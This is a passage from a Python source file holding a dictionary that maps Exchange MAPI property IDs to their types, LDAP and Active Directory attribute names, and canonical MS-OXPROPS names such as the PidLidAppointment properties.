\"incomingMsgSizeLimit\", \"ms-Exch-Incoming-Msg-Size-Limit\", 2, None, None, None),\n        0x8191: (0x000b, \"sendTNEF\", \"ms-Exch-Send-TNEF\", 2, None, None, None),\n        0x819b: (0x000b, \"hTTPPubGAL\", \"ms-Exch-HTTP-Pub-GAL\", 2, None, None, None),\n        0x819c: (0x0003, \"hTTPPubGALLimit\", \"ms-Exch-HTTP-Pub-GAL-Limit\", 2, None, None, None),\n        0x819e: (0x1102, \"hTTPPubPF\", \"ms-Exch-HTTP-Pub-PF\", 2, None, None, None),\n        0x81a1: (0x001f, \"x500RDN\", \"ms-Exch-X500-RDN\", 2, None, None, None),\n        0x81a2: (0x001f, \"dnQualifier\", \"ms-Exch-X500-NC\", 2, None, None, None),\n        0x81a3: (0x101f, \"referralList\", \"ms-Exch-Referral-List\", 2, None, None, None),\n        0x81a8: (0x000b, \"enabledProtocolCfg\", \"ms-Exch-Enabled-Protocol-Cfg\", 2, None, None, None),\n        0x81a9: (0x101f, \"hTTPPubABAttributes\", \"ms-Exch-HTTP-Pub-AB-Attributes\", 2, None, None, None),\n        0x81ab: (0x101f, \"hTTPServers\", \"ms-Exch-HTTP-Servers\", 2, None, None, None),\n        0x81b1: (0x000b, \"proxyGenerationEnabled\", \"Proxy-Generation-Enabled\", 3, None, None, None),\n        0x81b2: (0x0102, \"rootNewsgroupsFolderID\", \"ms-Exch-Root-Newsgroups-Folder-ID\", 2, None, None, None),\n        0x81b4: (0x0003, \"connectionListFilterType\", \"ms-Exch-Connection-List-Filter-Type\", 2, None, None, None),\n        0x81b5: (0x0003, \"portNumber\", \"ms-Exch-Port-Number\", 2, None, None, None),\n        0x81b6: (0x101f, \"protocolSettings\", \"ms-Exch-Protocol-Settings\", 1, None, None, None),\n        0x81c2: (0x0040, \"promoExpiration\", \"ms-Exch-Promo-Expiration\", 1, None, None, None),\n        0x81c3: (0x101f, \"disabledGatewayProxy\", \"ms-Exch-Disabled-Gateway-Proxy\", 2, None, None, None),\n        0x81c4: (0x0102, \"compromisedKeyList\", \"ms-Exch-Compromised-Key-List\", 2, None, None, None),\n        0x81c5: (0x001f, \"iNSAdmin\", \"ms-Exch-INSAdmin\", 2, None, None, None),\n        0x81c7: (0x101f, \"objViewContainers\", \"ms-Exch-Obj-View-Containers\", 2, None, None, None),\n        0x8202: (0x001f, \"name\", \"RDN\", 1, \"PidLidAppointmentSequenceTime\", \"dispidApptSeqTime\", None),\n        0x8c1c: (0x0102, \"msExchMimeTypes\", \"ms-Exch-Mime-Types\", 2, None, None, None),\n        0x8c1d: (0x0003, \"lDAPSearchCfg\", \"ms-Exch-LDAP-Search-Cfg\", 2, None, None, None),\n        0x8c21: (0x000b, \"Enabled\", \"Enabled\", 3, None, None, None),\n        0x8c22: (0x000b, \"preserveInternetContent\", \"ms-Exch-Preserve-Internet-Content\", 2, None, None, None),\n        0x8c24: (0x000b, \"clientAccessEnabled\", \"ms-Exch-Client-Access-Enabled\", 2, None, None, None),\n        0x8c25: (0x000b, \"requireSSL\", \"ms-Exch-Require-SSL\", 2, None, None, None),\n        0x8c26: (0x001f, \"anonymousAccount\", \"ms-Exch-Anonymous-Account\", 2, None, None, None),\n        0x8c27: (0x0102, \"certificateChainV3\", \"ms-Exch-Certificate-Chain-V3\", 2, None, None, None),\n        0x8c28: (0x0102, \"certificateRevocationListV3\", \"ms-Exch-Certificate-Revocation-List-V3\", 2, None, None, None),\n        0x8c29: (0x0102, \"certificateRevocationListV1\", \"ms-Exch-Certificate-Revocation-List-V1\", 2, None, None, None),\n        0x8c30: (0x1102, \"crossCertificateCRL\", \"ms-Exch-Cross-Certificate-CRL\", 2, None, None, None),\n        0x8c31: (0x000b, \"sendEMailMessage\", \"ms-Exch-Send-EMail-Message\", 2, None, None, None),\n        0x8c32: (0x000b, \"enableCompatibility\", \"ms-Exch-Enable-Compatibility\", 2, None, None, None),\n        0x8c33: (0x101f, \"sMIMEAlgListNA\", \"ms-Exch-SMIME-Alg-List-NA\", 2, None, None, None),\n        0x8c34: (0x101f, \"sMIMEAlgListOther\", \"ms-Exch-SMIME-Alg-List-Other\", 2, None, None, None),\n        0x8c35: (0x001f, \"sMIMEAlgSelectedNA\", \"ms-Exch-SMIME-Alg-Selected-NA\", 2, None, None, None),\n        0x8c36: (0x001f, \"sMIMEAlgSelectedOther\", \"ms-Exch-SMIME-Alg-Selected-Other\", 2, None, None, None),\n        0x8c37: (0x000b, \"defaultMessageFormat\", \"ms-Exch-Default-Message-Format\", 2, None, None, None),\n        0x8c38: (0x001f, \"type\", \"ms-Exch-Type\", 1, None, None, None),\n        0x8c3a: (0x0003, \"doOABVersion\", \"ms-Exch-Do-OAB-Version\", 2, None, None, None),\n        0x8c45: (0x1102, \"attributeCertificate\", \"ms-Exch-Attribute-Certificate\", 1, None, None, None),\n        0x8c46: (0x1102, \"deltaRevocationList\", \"Delta-Revocation-List\", 3, None, None, None),\n        0x8c47: (0x1102, \"securityPolicy\", \"ms-Exch-Security-Policy\", 2, None, None, None),\n        0x8c48: (0x000b, \"supportSMIMESignatures\", \"ms-Exch-Support-SMIME-Signatures\", 2, None, None, None),\n        0x8c49: (0x000b, \"delegateUser\", \"ms-Exch-Delegate-User\", 2, None, None, None),\n        0x8c50: (0x000b, \"listPublicFolders\", \"ms-Exch-List-Public-Folders\", 2, None, None, None),\n        0x8c51: (0x101f, \"msExchLabeledURI\", \"ms-Exch-LabeledURI\", 1, None, None, None),\n        0x8c52: (0x000b, \"returnExactMsgSize\", \"ms-Exch-Return-Exact-Msg-Size\", 2, None, None, None),\n        0x8c53: (0x001f, \"generationQualifier\", \"Generation-Qualifier\", 3, None, None, None),\n        0x8c54: (0x001f, \"msExchHouseIdentifier\", \"ms-Exch-House-Identifier\", 3, None, None, None),\n        0x8c55: (0x0102, \"supportedAlgorithms\", \"ms-Exch-Supported-Algorithms\", 1, None, None, None),\n        0x8c56: (0x001f, \"dmdName\", \"DMD-Name\", 3, None, None, None),\n        0x8c57: (0x001f, \"extensionAttribute11\", \"ms-Exch-Extension-Attribute-11\", 1, \"PidTagAddressBookExtensionAttribute11\", \"PR_EMS_AB_EXTENSION_ATTRIBUTE_11\", None),\n        0x8c58: (0x001f, \"extensionAttribute12\", \"ms-Exch-Extension-Attribute-12\", 1, \"PidTagAddressBookExtensionAttribute12\", \"PR_EMS_AB_EXTENSION_ATTRIBUTE_12\", None),\n        0x8c59: (0x001f, \"extensionAttribute13\", \"ms-Exch-Extension-Attribute-13\", 1, \"PidTagAddressBookExtensionAttribute13\", \"PR_EMS_AB_EXTENSION_ATTRIBUTE_13\", None),\n        0x8c60: (0x001f, \"extensionAttribute14\", \"ms-Exch-Extension-Attribute-14\", 1, \"PidTagAddressBookExtensionAttribute14\", \"PR_EMS_AB_EXTENSION_ATTRIBUTE_14\", None),\n        0x8c61: (0x001f, \"extensionAttribute15\", \"ms-Exch-Extension-Attribute-15\", 1, \"PidTagAddressBookExtensionAttribute15\", \"PR_EMS_AB_EXTENSION_ATTRIBUTE_15\", None),\n        0x8c62: (0x0003, \"replicatedObjectVersion\", \"ms-Exch-Replicated-Object-Version\", 1, None, None, None),\n        0x8c64: (0x001f, \"forwardingAddress\", \"ms-Exch-Forwarding-Address\", 2, None, None, None),\n        0x8c65: (0x0102, \"formData\", \"ms-Exch-Form-Data\", 2, None, None, None),\n        0x8c66: (0x001f, \"oWAServer\", \"ms-Exch-OWA-Server\", 2, None, None, None),\n        0x8c67: (0x001f, \"employeeNumber\", \"Employee-Number\", 3, None, None, None),\n        0x8c68: (0x001f, \"personalPager\", \"ms-Exch-Telephone-Personal-Pager\", 2, None, None, None),\n        0x8c69: (0x001f, \"employeeType\", \"Employee-Type\", 3, None, None, None),\n        0x8c6a: (0x1102, \"userCertificate\", \"X509-Cert\", 1, \"PidTagAddressBookX509Certificate\", \"PR_EMS_AB_X509_CERT\", \"Certificate\"),\n        0x8c6b: (0x001f, \"personalTitle\", \"Personal-Title\", 3, None, None, None),\n        0x8c6c: (0x001f, \"language\", \"ms-Exch-Language-ISO639\", 2, None, None, None),\n        0x8c6d: (0x0102, \"objectGUID\", \"Object-Guid\", 1, \"PidTagAddressBookObjectGuid\", \"PR_EMS_AB_OBJECT_GUID\", \"ObjectGuid\"),\n        0x8c6e: (0x101f, \"otherPager\", \"Phone-Pager-Other\", 1, None, None, None),\n        0x8c73: (0x0102, \"msExchMailboxGuid\", \"ms-Exch-Mailbox-Guid\", 1, None, None, None),\n        0x8c75: (0x0102, \"msExchMasterAccountSid\", \"ms-Exch-Master-Account-Sid\", 1, None, None, None),\n        0x8c7e: (0x001f, \"msExchFBURL\", \"ms-Exch-FB-URL\", 1, None, None, None),\n        0x8c7f: (0x001f, \"msExchMailboxUrl\", \"ms-Exch-Mailbox-Url\", 1, None, None, None),\n        0x8c81: (0x001f, \"textEncodedORAddress\", \"Text-Encoded-OR-Address\", 1, None, None, None),\n        0x8c82: (0x001f, \"msExchPfRootUrl\", \"ms-Exch-Pf-Root-Url\", 1, None, None, None),\n        0x8c8e: (0x001f, \"msDS-PhoneticFirstName\", \"ms-DS-Phonetic-First-Name\", 1, \"PidTagAddressBookPhoneticGivenName\", \"PR_EMS_AB_PHONETIC_GIVEN_NAME\", None),\n        0x8c8f: (0x001f, \"msDS-PhoneticLastName\", \"ms-DS-Phonetic-Last-Name\", 1, \"PidTagAddressBookPhoneticSurname\", \"PR_EMS_AB_PHONETIC_SURNAME\", None),\n        0x8c90: (0x001f, \"msDS-PhoneticDepartment\", \"ms-DS-Phonetic-Department\", 1, \"PidTagAddressBookPhoneticDepartmentName\", \"PR_EMS_AB_PHONETIC_DEPARTMENT_NAME\", None),\n        0x8c91: (0x001f, \"msDS-PhoneticCompanyName\", \"ms-DS-Phonetic-Company-Name\", 1, \"PidTagAddressBookPhoneticCompanyName\", \"PR_EMS_AB_PHONETIC_COMPANY_NAME\", None),\n        0x8c92: (0x001f, \"msDS-PhoneticDisplayName\", \"ms-DS-Phonetic-Display-Name\", 1, \"PidTagAddressBookPhoneticDisplayName\", \"PR_EMS_AB_PHONETIC_DISPLAY_NAME\", None),\n        0x8c94: (0x000d, \"msExchHABShowInDepartments\", \"ms-Exch-HAB-Show-In-Departments\", 1, \"PidTagAddressBookHierarchicalShowInDepartments\", \"PR_EMS_AB_HAB_SHOW_IN_DEPARTMENTS\", None),\n        0x8c96: (0x101f, \"msExchResourceAddressLists\", \"ms-Exch-Resource-Address-Lists\", 1, \"PidTagAddressBookRoomContainers\", \"PR_EMS_AB_ROOM_CONTAINERS\", \"AddressBookRoomContainers\"),\n        0x8c97: (0x000d, \"msExchHABShowInDepartmentsBL\", \"ms-Exch-HAB-Show-In-Departments-BL\", 2, \"PidTagAddressBookHierarchicalDepartmentMembers\", \"PR_EMS_AB_HAB_DEPARTMENT_MEMBERS\", None),\n        0x8c98: (0x000d, \"msExchHABRootDepartmentLink\", \"ms-Exch-HAB-Root-Department-Link\", 1, \"PidTagAddressBookHierarchicalRootDepartment\", \"PR_EMS_AB_HAB_ROOT_DEPARTMENT\", None),\n        0x8c99: (0x000d, \"msExchHABChildDepartmentsBL\", \"ms-Exch-HAB-Child-Departments-BL\", 2, \"PidTagAddressBookHierarchicalParentDepartment\", \"PR_EMS_AB_HAB_PARENT_DEPARTMENT\", None),\n        0x8c9a: (0x000d, \"msExchHABChildDepartmentsLink\", \"ms-Exch-HAB-Child-Departments-Link\", 2, \"PidTagAddressBookHierarchicalChildDepartments\", \"PR_EMS_AB_HAB_CHILD_DEPARTMENTS\", None),\n        0x8c9b: (0x000d, \"msExchHABRootDepartmentBL\", \"ms-Exch-HAB-Root-Department-BL\", 2, None, None, None),\n        0x8c9e: (0x0102, \"thumbnailPhoto\", \"Picture\", 1, \"PidTagThumbnailPhoto\", \"PR_EMS_AB_THUMBNAIL_PHOTO\", \"ThumbnailPhoto\"),\n        0x8c9f: (0x001f, \"msExchUserCulture\", \"ms-Exch-User-Culture\", 1, None, None, None),\n        0x8ca0: (0x0003, \"msDS-HABSeniorityIndex\", \"ms-DS-HAB-Seniority-Index\", 1, \"PidTagAddressBookSeniorityIndex\", None, None),\n        0x8ca1: (0x000b, \"msExchPhoneticSupport\", \"ms-Exch-Phonetic-Support\", 2, None, None, None),\n        0x8ca2: (0x0003, \"msExchMaxSafeSenders\", \"ms-Exch-Max-Safe-Senders\", 1, None, None, None),\n        0x8ca3: (0x0003, \"msExchMaxBlockedSenders\", \"ms-Exch-Max-Blocked-Senders\", 1, None, None, None),\n        0x8ca5: (0x000d, \"msExchConfigurationUnitLink\", \"ms-Exch-Configuration-Unit-Link\", 2, None, None, None),\n        0x8ca6: (0x000d, \"msExchConfigurationUnitBL\", \"ms-Exch-Configuration-Unit-BL\", 1, None, None, None),\n        0x8ca7: (0x001f, \"msExchCU\", \"ms-Exch-CU\", 1, None, None, None),\n        0x8ca8: (0x001f, \"msExchOURoot\", \"ms-Exch-OU-Root\", 1, \"PidTagAddressBookOrganizationalUnitRootDistinguishedName\", \"PR_EMS_AB_ORG_UNIT_ROOT_DN\", None),\n        0x8ca9: (0x0003, \"msExchSenderHintsEnabled\", \"ms-Exch-Sender-Hints-Enabled\", 2, None, None, None),\n        0x8caa: (0x0003, \"msExchSenderHintLargeAudienceThreshold\", \"ms-Exch-Sender-Hint-Large-Audience-Threshold\", 2, None, None, None),\n        0x8cac: (0x101f, \"msExchSenderHintTranslations\", \"ms-Exch-Sender-Hint-Translations\", 1, \"PidTagAddressBookSenderHintTranslations\", \"PR_EMS_AB_DL_SENDER_HINT_TRANSLATIONS_W\", None),\n        0x8cad: (0x000d, \"msExchModeratedByLink\", \"ms-Exch-Moderated-By-Link\", 1, None, None, None),\n        0x8cae: (0x000d, \"msExchCoManagedByLink\", \"ms-Exch-Co-Managed-By-Link\", 1, None, None, None),\n        0x8caf: (0x000d, \"msExchModeratedObjectsBL\", \"ms-Exch-Moderated-Objects-BL\", 1, None, None, None),\n        0x8cb0: (0x000d, \"msExchCoManagedObjectsBL\", \"ms-Exch-Co-Managed-Objects-BL\", 1, None, None, None),\n        0x8cb1: (0x001f, \"msExchArbitrationMailbox\", \"ms-Exch-Arbitration-Mailbox\", 1, None, None, None),\n        0x8cb3: (0x0003, \"msExchGroupJoinRestriction\", \"ms-Exch-Group-Join-Restriction\", 1, None, None, None),\n        0x8cb4: (0x0003, \"msExchGroupDepartRestriction\", \"ms-Exch-Group-Depart-Restriction\", 1, None, None, None),\n        0x8cb5: (0x000b, \"msExchEnableModeration\", \"ms-Exch-Enable-Moderation\", 1, \"PidTagAddressBookModerationEnabled\", None, None),\n        0x8cb6: (0x0003, \"msExchModerationFlags\", \"ms-Exch-Moderation-Flags\", 1, None, None, None),\n        0x8cb7: (0x101f, \"msExchSignupAddresses\", \"ms-Exch-Signup-Addresses\", 1, None, None, None),\n        0x8cc1: (0x001f, \"msExchWindowsLiveID\", \"ms-Exch-Windows-Live-ID\", 1, None, None, None),\n        0x8cc2: (0x0102, \"msExchUMSpokenName\", \"ms-Exch-UM-Spoken-Name\", 1, \"PidTagSpokenName\", \"PR_EMS_AB_UM_SPOKEN_NAME\", None),\n        0x8cc3: (0x001f, \"msExchPrivacyStatementURL\", \"ms-Exch-Privacy-Statement-URL\", 2, None, None, None),\n        0x8cc4: (0x001f, \"msExchControlPanelFeedbackURL\", \"ms-Exch-Control-Panel-Feedback-URL\", 2, None, None, None),\n        0x8cc5: (0x001f, \"msExchControlPanelHelpURL\", \"ms-Exch-Control-Panel-Help-URL\", 2, None, None, None),\n        0x8cc6: (0x000b, \"msExchExchangeHelpAppOnline\", \"ms-Exch-Exchange-Help-App-Online\", 2, None, None, None),\n        0x8cc7: (0x001f, \"msExchManagementConsoleFeedbackURL\", \"ms-Exch-Management-Console-Feedback-URL\", 2, None, None, None),\n        0x8cc8: (0x001f, \"msExchManagementConsoleHelpURL\", \"ms-Exch-Management-Console-Help-URL\", 2, None, None, None),\n        0x8cc9: (0x001f, \"msExchOWAFeedbackURL\", \"ms-Exch-OWA-Feedback-URL\", 2, None, None, None),\n        0x8cca: (0x001f, \"msExchOWAHelpURL\", \"ms-Exch-OWA-Help-URL\", 2, None, None, None),\n        0x8ccb: (0x001f, \"msExchWindowsLiveAccountURL\", \"ms-Exch-Windows-Live-Account-URL\", 2, None, None, None),\n        0x8ccc: (0x0003, \"msExchTransportRecipientSettingsFlags\", \"ms-Exch-Transport-Recipient-Settings-Flags\", 1, None, None, None),\n        0x8ccd: (0x000b, \"msExchControlPanelFeedbackEnabled\", \"ms-Exch-Control-Panel-Feedback-Enabled\", 2, None, None, None),\n        0x8cce: (0x000b, \"msExchManagementConsoleFeedbackEnabled\", \"ms-Exch-Management-Console-Feedback-Enabled\", 2, None, None, None),\n        0x8ccf: (0x000b, \"msExchOWAFeedbackEnabled\", \"ms-Exch-OWA-Feedback-Enabled\", 2, None, None, None),\n        0x8cd0: (0x000b, \"msExchPrivacyStatementURLEnabled\", \"ms-Exch-Privacy-Statement-URL-Enabled\", 2, None, None, None),\n        0x8cd1: (0x000b, \"msExchWindowsLiveAccountURLEnabled\", \"ms-Exch-Windows-Live-Account-URL-Enabled\", 2, None, None, None),\n        0x8cd2: (0x000d, \"msExchBypassModerationLink\", \"ms-Exch-Bypass-Moderation-Link\", 1, None, None, None),\n        0x8cd3: (0x000d, \"msExchBypassModerationBL\", \"ms-Exch-Bypass-Moderation-BL\", 1, None, None, None),\n        0x8cd4: (0x000d, \"msExchBypassModerationFromDLMembersLink\", \"ms-Exch-Bypass-Moderation-From-DL-Members-Link\", 1, None, None, None),\n        0x8cd5: (0x000d, \"msExchBypassModerationFromDLMembersBL\", \"ms-Exch-Bypass-Moderation-From-DL-Members-BL\", 1, None, None, None),\n        0x8cd6: (0x001f, \"msExchRetentionComment\", \"ms-Exch-Retention-Comment\", 1, None, None, None),\n        0x8cd7: (0x001f, \"msExchRetentionURL\", \"ms-Exch-Retention-URL\", 1, None, None, None),\n        0x8cd8: (0x000d, \"authOrig\", \"ms-Exch-Auth-Orig\", 1, \"PidTagAddressBookAuthorizedSenders\", \"PR_EMS_AB_AUTH_ORIG\", None),\n        0x8cd9: (0x000d, \"unauthOrig\", \"ms-Exch-Unauth-Orig\", 1, \"PidTagAddressBookUnauthorizedSenders\", \"PR_EMS_AB_UNAUTH_ORIG\", None),\n        0x8cda: (0x000d, \"dLMemSubmitPerms\", \"ms-Exch-DL-Mem-Submit-Perms\", 1, \"PidTagAddressBookDistributionListMemberSubmitRejected\", \"PR_EMS_AB_DL_MEM_SUBMIT_PERMS\", None),\n        0x8cdb: (0x000d, \"dLMemRejectPerms\", \"ms-Exch-DL-Mem-Reject-Perms\", 1, \"PidTagAddressBookDistributionListRejectMessagesFromDLMembers\", \"PR_EMS_AB_DL_MEM_REJECT_PERMS\", None),\n        0x8cdc: (0x000d, \"msOrg-LeadersBL\", \"ms-Org-Leaders-BL\", 2, None, None, None),\n        0x8cdd: (0x000b, \"msOrg-IsOrganizational\", \"ms-Org-Is-Organizational-Group\", 1, \"PidTagAddressBookHierarchicalIsHierarchicalGroup\", \"PR_EMS_AB_HAB_IS_HIERARCHICAL_GROUP\", None),\n        0x8cde: (0x000d, \"msOrg-Leaders\", \"ms-Org-Leaders\", 1, None, None, None),\n        0x8cdf: (0x001f, \"msOrg-GroupSubtypeName\", \"ms-Org-Group-Subtype-Name\", 1, None, None, None),\n        0x8ce0: (0x101f, \"msOrg-OtherDisplayNames\", \"ms-Org-Other-Display-Names\", 1, None, None, None),\n        0x8ce2: (0x0003, \"msExchGroupMemberCount\", \"ms-Exch-Group-Member-Count\", 1, \"PidTagAddressBookDistributionListMemberCount\", \"PR_EMS_AB_DL_TOTAL_MEMBER_COUNT\", None),\n        0x8ce3: (0x0003, \"msExchGroupExternalMemberCount\", \"ms-Exch-Group-External-Member-Count\", 1, \"PidTagAddressBookDistributionListExternalMemberCount\", \"PR_EMS_AB_DL_EXTERNAL_MEMBER_COUNT\", None),\n        0x8ce5: (0x000d, \"msExchDelegateListLink\", \"ms-Exch-Delegate-List-Link\", 1, None, None, None),\n        0x8ce6: (0x000d, \"msExchDelegateListBL\", \"ms-Exch-Delegate-List-BL\", 2, None, None, None),\n        0x8ce7: (0x001f, \"msExchArchiveAddress\", \"ms-Exch-Archive-Address\", 1, None, None, None),\n        0x8ce8: (0x0003, \"msExchArchiveStatus\", \"ms-Exch-Archive-Status\", 1, None, None, None),\n        0x8ce9: (0x001f, \"msExchDistributionGroupNamingPolicy\", \"ms-Exch-Distribution-Group-Naming-Policy\", 2, None, None, None),\n        0x8cea: (0x101f, \"msExchDistributionGroupNameBlockedWordsList\", \"ms-Exch-Distribution-Group-Name-Blocked-Words-List\", 2, None, None, None),\n        0x8ceb: (0x001f, \"msExchDistributionGroupDefaultOU\", \"ms-Exch-Distribution-Group-Default-OU\", 2, None, None, None),\n        0x8cec: (0x0003, \"msExchAddressBookFlags\", \"ms-Exch-Address-Book-Flags\", 1, None, None, None),\n        0x8ced: (0x001f, \"msExchExtensionAttribute16\", \"ms-Exch-Extension-Attribute-16\", 1, None, None, None),\n        0x8cee: (0x001f, \"msExchExtensionAttribute17\", \"ms-Exch-Extension-Attribute-17\", 1, None, None, None),\n        0x8cef: (0x001f, \"msExchExtensionAttribute18\", \"ms-Exch-Extension-Attribute-18\", 1, None, None, None),\n        0x8cf0: (0x001f, \"msExchExtensionAttribute19\", \"ms-Exch-Extension-Attribute-19\", 1, None, None, None),\n        0x8cf1: (0x001f, \"msExchExtensionAttribute20\", \"ms-Exch-Extension-Attribute-20\", 1, None, None, None),\n        0x8cf2: (0x001f, \"msExchExtensionAttribute21\", \"ms-Exch-Extension-Attribute-21\", 1, None, None, None),\n        0x8cf3: (0x001f, \"msExchExtensionAttribute22\", \"ms-Exch-Extension-Attribute-22\", 1, None, None, None),\n        0x8cf4: (0x001f, \"msExchExtensionAttribute23\", \"ms-Exch-Extension-Attribute-23\", 1, None, None, None),\n        0x8cf5: (0x001f, \"msExchExtensionAttribute24\", \"ms-Exch-Extension-Attribute-24\", 1, None, None, None),\n        0x8cf6: (0x001f, \"msExchExtensionAttribute25\", \"ms-Exch-Extension-Attribute-25\", 1, None, None, None),\n        0x8cf7: (0x001f, \"msExchExtensionAttribute26\", \"ms-Exch-Extension-Attribute-26\", 1, None, None, None),\n        0x8cf8: (0x001f, \"msExchExtensionAttribute27\", \"ms-Exch-Extension-Attribute-27\", 1, None, None, None),\n        0x8cf9: (0x001f, \"msExchExtensionAttribute28\", \"ms-Exch-Extension-Attribute-28\", 1, None, None, None),\n        0x8cfa: (0x001f, \"msExchExtensionAttribute29\", \"ms-Exch-Extension-Attribute-29\", 1, None, None, None),\n        0x8cfb: (0x001f, \"msExchExtensionAttribute30\", \"ms-Exch-Extension-Attribute-30\", 1, None, None, None),\n        0x8cfc: (0x001f, \"msExchExtensionAttribute31\", \"ms-Exch-Extension-Attribute-31\", 1, None, None, None),\n        0x8cfd: (0x001f, \"msExchExtensionAttribute32\", \"ms-Exch-Extension-Attribute-32\", 1, None, None, None),\n        0x8cfe: (0x001f, \"msExchExtensionAttribute33\", \"ms-Exch-Extension-Attribute-33\", 1, None, None, None),\n        0x8cff: (0x001f, \"msExchExtensionAttribute34\", \"ms-Exch-Extension-Attribute-34\", 1, None, None, None),\n        0x8d00: (0x001f, \"msExchExtensionAttribute35\", \"ms-Exch-Extension-Attribute-35\", 1, None, None, None),\n        0x8d01: (0x001f, \"msExchExtensionAttribute36\", \"ms-Exch-Extension-Attribute-36\", 1, None, None, None),\n        0x8d02: (0x001f, \"msExchExtensionAttribute37\", \"ms-Exch-Extension-Attribute-37\", 1, None, None, None),\n        0x8d03: (0x001f, \"msExchExtensionAttribute38\", \"ms-Exch-Extension-Attribute-38\", 1, None, None, None),\n        0x8d04: (0x001f, \"msExchExtensionAttribute39\", \"ms-Exch-Extension-Attribute-39\", 1, None, None, None),\n        0x8d05: (0x001f, \"msExchExtensionAttribute40\", \"ms-Exch-Extension-Attribute-40\", 1, None, None, None),\n        0x8d06: (0x001f, \"msExchExtensionAttribute41\", \"ms-Exch-Extension-Attribute-41\", 1, None, None, None),\n        0x8d07: (0x001f, \"msExchExtensionAttribute42\", \"ms-Exch-Extension-Attribute-42\", 1, None, None, None),\n        0x8d08: (0x001f, \"msExchExtensionAttribute43\", \"ms-Exch-Extension-Attribute-43\", 1, None, None, None),\n        0x8d09: (0x001f, \"msExchExtensionAttribute44\", \"ms-Exch-Extension-Attribute-44\", 1, None, None, None),\n        0x8d0a: (0x001f, \"msExchExtensionAttribute45\", \"ms-Exch-Extension-Attribute-45\", 1, None, None, None),\n        0x8d0b: (0x000d, \"msExchUGMemberLink\", \"ms-Exch-UG-Member-Link\", 1, None, None, None),\n        0x8d0c: (0x000d, \"msExchUGMemberBL\", \"ms-Exch-UG-Member-BL\", 1, None, None, None),\n        0x8d0e: (0x000d, \"msExchAdministrativeUnitLink\", \"ms-Exch-Administrative-Unit-Link\", 1, None, None, None),\n        0x8d0f: (0x0003, \"msExchGroupSecurityFlags\", \"ms-Exch-Group-Security-Flags\", 1, None, None, None),\n        0xfff8: (0x101f, \"msExchTemplateRDNs\", \"ms-Exch-Template-RDNs\", 2, None, None, None),\n# ====================\n        0x850e: (0x000b, None, None, 4, \"PidLidAgingDontAgeMe\", \"dispidAgingDontAgeMe\", None),\n        0x8238: (0x001f, None, None, 4, \"PidLidAllAttendeesString\", \"dispidAllAttendeesString\", None),\n        0x8246: (0x000b, None, None, 4, \"PidLidAllowExternalCheck\", \"dispidAllowExternCheck\", None),\n        0x8207: (0x0003, None, None, 4, \"PidLidAppointmentAuxiliaryFlags\", \"dispidApptAuxFlags\", None),\n        0x8214: (0x0003, None, None, 4, \"PidLidAppointmentColor\", \"dispidApptColor\", None),\n        0x8257: (0x000b, None, None, 4, \"PidLidAppointmentCounterProposal\", \"dispidApptCounterProposal\", None),\n        0x8213: (0x0003, None, None, 4, \"PidLidAppointmentDuration\", \"dispidApptDuration\", None),\n        0x8211: (0x0040, None, None, 4, \"PidLidAppointmentEndDate\", \"dispidApptEndDate\", None),\n        0x8210: (0x0040, None, None, 4, \"PidLidAppointmentEndTime\", \"dispidApptEndTime\", None),\n        0x820e: (0x0040, None, None, 4, \"PidLidAppointmentEndWhole\", \"dispidApptEndWhole\", None),\n        0x8203: (0x0003, None, None, 4, \"PidLidAppointmentLastSequence\", \"dispidApptLastSequence\", None),\n        0x0024: (0x001f, None, None, 4, \"PidLidAppointmentMessageClass\", \"dispidApptMessageClass\", \"OriginatorReturnAddress\"),\n        0x825a: (0x000b, None, None, 4, \"PidLidAppointmentNotAllowPropose\", \"dispidApptNotAllowPropose\", None),\n        0x8259: (0x0003, None, None, 4, \"PidLidAppointmentProposalNumber\", \"dispidApptProposalNum\", None),\n        0x8256: (0x0003, None, None, 4, \"PidLidAppointmentProposedDuration\", \"dispidApptProposedDuration\", None),\n        0x8251: (0x0040, None, None, 4, \"PidLidAppointmentProposedEndWhole\", \"dispidApptProposedEndWhole\", None),\n        0x8250: (0x0040, None, None, 4, \"PidLidAppointmentProposedStartWhole\", \"dispidApptProposedStartWhole\", None),\n        0x8216: (0x0102, None, None, 4, \"PidLidAppointmentRecur\", \"dispidApptRecur\", None),\n        0x8230: (0x001f, None, None, 4, \"PidLidAppointmentReplyName\", \"dispidApptReplyName\", None),\n        0x8220: (0x0040, None, None, 4, \"PidLidAppointmentReplyTime\", \"dispidApptReplyTime\", None),\n        0x8201: (0x0003, None, None, 4, \"PidLidAppointmentSequence\", \"dispidApptSequence\", None),\n        0x8212: (0x0040, None, None, 4, \"PidLidAppointmentStartDate\", \"dispidApptStartDate\", None),\n        0x820f: (0x0040, None, None, 4, \"PidLidAppointmentStartTime\", \"dispidApptStartTime\", None),\n        0x820d: (0x0040, None, None, 4, \"PidLidAppointmentStartWhole\", \"dispidApptStartWhole\", None),\n        0x8217: (0x0003, None, None, 4, \"PidLidAppointmentStateFlags\", \"dispidApptStateFlags\", None),\n        0x8215: (0x000b, None, None, 4, \"PidLidAppointmentSubType\", \"dispidApptSubType\", None),\n        0x825f: (0x0102, None, None, 4, \"PidLidAppointmentTimeZoneDefinitionEndDisplay\", \"dispidApptTZDefEndDisplay\", None),\n        0x8260: (0x0102, None, None, 4, \"PidLidAppointmentTimeZoneDefinitionRecur\", \"dispidApptTZDefRecur\", None),\n        0x825e: (0x0102, None, None, 4, \"PidLidAppointmentTimeZoneDefinitionStartDisplay\", \"dispidApptTZDefStartDisplay\", None),\n        0x825d: (0x0102, None, None, 4, \"PidLidAppointmentUnsendableRecipients\", \"dispidApptUnsendableRecips\", None),\n        0x8226: (0x0040, None, None, 4, \"PidLidAppointmentUpdateTime\", \"dispidApptUpdateTime\", None),\n        0x0001: (0x0102, None, None, 4, \"PidTagTemplateData\", \"PR_EMS_TEMPLATE_BLOB\", \"AcknowledgementMode\"),\n        0x823a: (0x000b, None, None, 4, \"PidLidAutoFillLocation\", \"dispidAutoFillLocation\", None),\n        0x851a: (0x0003, None, None, 4, \"PidLidAutoProcessState\", \"dispidSniffState\", None),\n        0x8244: (0x000b, None, None, 4, \"PidLidAutoStartCheck\", \"dispidAutoStartCheck\", None),\n        0x8535: (0x001f, None, None, 4, \"PidLidBilling\", \"dispidBilling\", None),\n        0x804d: (0x0102, None, None, 4, \"PidLidBirthdayEventEntryId\", \"dispidBirthdayEventEID\", None),\n        0x8205: (0x0003, None, None, 4, \"PidLidBusyStatus\", \"dispidBusyStatus\", None),\n        0x001c: (0x0003, None, None, 4, \"PidLidCalendarType\", \"LID_CALENDAR_TYPE\", None),\n        0x9000: (0x101f, None, None, 4, \"PidLidCategories\", \"dispidCategories\", None),\n        